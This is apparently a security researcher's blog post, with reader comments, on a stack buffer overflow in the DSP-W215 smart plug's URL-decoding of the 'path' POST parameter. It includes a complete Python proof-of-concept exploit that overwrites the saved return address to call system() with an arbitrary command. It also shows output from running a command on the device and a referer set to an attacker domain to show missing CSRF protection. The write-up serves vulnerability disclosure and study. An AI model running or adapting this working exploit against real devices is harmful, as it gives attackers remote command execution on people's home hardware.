Hacking the DSP-W215, Again, Again, Again

So far, the vulnerabilities found in the DSP-W215 have only been practically exploitable from the LAN, unless someone was foolish enough to make their smart plug remotely accessible on the Internet.

The typical way for external attackers to target internal web servers, such as the one running on the DSP-W215, is through CSRF. The problem is that any web browser used for a CSRF attack will URL encode binary values, such as our return addresses, but thus far the vulnerabilities we’ve exploited don’t URL decode our data (note that the replace_special_char function exploited in the last vulnerability only URL decodes a small range of ASCII values).

The my_cgi.cgi binary, which has been our primary target for exploitation, contains a decode function which is responsible for URL decoding POST data. This function accepts only two arguments, which are a pointer to the encoded data and a pointer to a destination buffer to store the decoded data:

void decode(char *encode_buf, char *decode_buf);

The decode function simply loops through all of the bytes in encode_buf, decoding/copying them blindly into decode_buf:

The decode while loop

The decode while loop

Roughly translated, the decode function reads:

void decode(char *encode_buf, char *decode_buf)
{
    int encoded_byte_len;
    char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);

    // Loop through all bytes in encode_buf, without knowing how big decode_buf is
    while(encoded_data < encode_buf_end_ptr)
    {
        /*
         * ...
         * Do Decoding of the next byte in encoded_data.
         * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
         * ...
         */

        decode_buf[0] = decoded_byte;
        decode_buf++;
        encoded_data += encoded_byte_len;
    }
}

If a calling function is not careful to allocate a large enough buffer to store all the decoded data, the decode_buf could be overflowed by a large POST parameter.

There is only one place in my_cgi.cgi where the decode function is called, which is from the get_input_entries function:

Only the "path" POST parameter is decoded

Only the “path” POST parameter is decoded

We can see that the decode function is only called if the POST parameter name is “path”, and from the memset we can infer that the decode_buf passed to the decode function is only a 0x400 byte stack buffer:

char decode_buf[0x400];

if(strcmp(entries[i]->name, "path") == 0)
{
    // Decode path POST value into the fixed-size decode_buf
    decode(entries[i]->value, decode_buf);
    strcpy(entries[i]->value, decode_buf);
}

replace_special_char(entries[i]->value);

This means that providing a POST “path” value greater than 0x400 bytes will overflow the decode_buf stack variable in the get_input_entries function. What’s more, we have no bad bytes, because the decode function will helpfully URL decode any offending bytes (NULL bytes become “%00″ in our POST request, for example) before copying them to the stack.

However, we have to take care in crafting our exploit buffer such that we don’t trigger the previously described stack overflow in the replace_special_char function, which is called before get_input_entries returns.

Luckily, the data passed to replace_special_char is actually strcpy’d from decode_buf first. If we put a NULL byte near the beginning of our POST data, replace_special_char will only be passed a very small string (everything up to the first NULL byte) instead of the entire POST data that has been decoded onto the stack.

A “path” POST value greater than 1060 bytes will overflow everything in the get_input_entries stack frame up to the saved return address:

The get_input_entries stack layout

The get_input_entries stack layout

And, since we have no bad bytes, we can use the return address of 0x00405CEC that was used in previous exploits in order to call system() with a pointer to the stack ($sp+0x28):

system() call at 0x00405CEC

system() call at 0x00405CEC

Here’s some PoC code in Python that overflows the get_input_entries saved return address with the address of the call to system() at 0x00405CEC and puts a command to execute on the stack at $sp+0x28:

import sys
import urllib
import urllib2

try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "\x00"               # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1)       # Stack filler
buf += "\x00\x40\x5C\xEC"   # $ra, address of call to system()
buf += "E" * 0x28           # Stack filler
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command, for good measure

# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')

# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}

req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

And, of course, it works as expected:

$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www
Bookmark the permalink.

4 Responses to Hacking the DSP-W215, Again, Again, Again

  1. Danny says:

    Hello. I recently started reading your blog, and I must say I’m very impressed by your skills. :-)

    Perhaps this is a bit off-topic, but I was wondering if you would be interested in looking into hacking printers. According to the Electronic Frontier Foundation, many color printers secretly add microscopic dots to the document that can be used to identify the user: https://www.eff.org/issues/printers

    The EFF has been trying to decode the dots but has not had much success:

    http://www.eff.org/wp/investigating-machine-identification-code-technology-color-laser-printers
    http://en.wikipedia.org/wiki/Printer_steganography

    Do you think it would be possible help out the EFF by reverse-engineering the printer firmware? I’d love to hear your thoughts on this!

    Danny

  2. Stone Arrow Bearson says:

    Always great to read your stuff Craig!

  3. Ali says:

    Craig, Great article.
    Is it possible from now on, you put all the decoded firmwares of your blog posts in your github?
    Then it is easier to reanalyse the same codes for researchers, because personally I sometimes stuck in some of your blog posts because of decoding problems I have with firmwares.
    That would be very very helpful.

  4. Pingback: Breaking into a DSP-W215. | Imaginary Industries

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>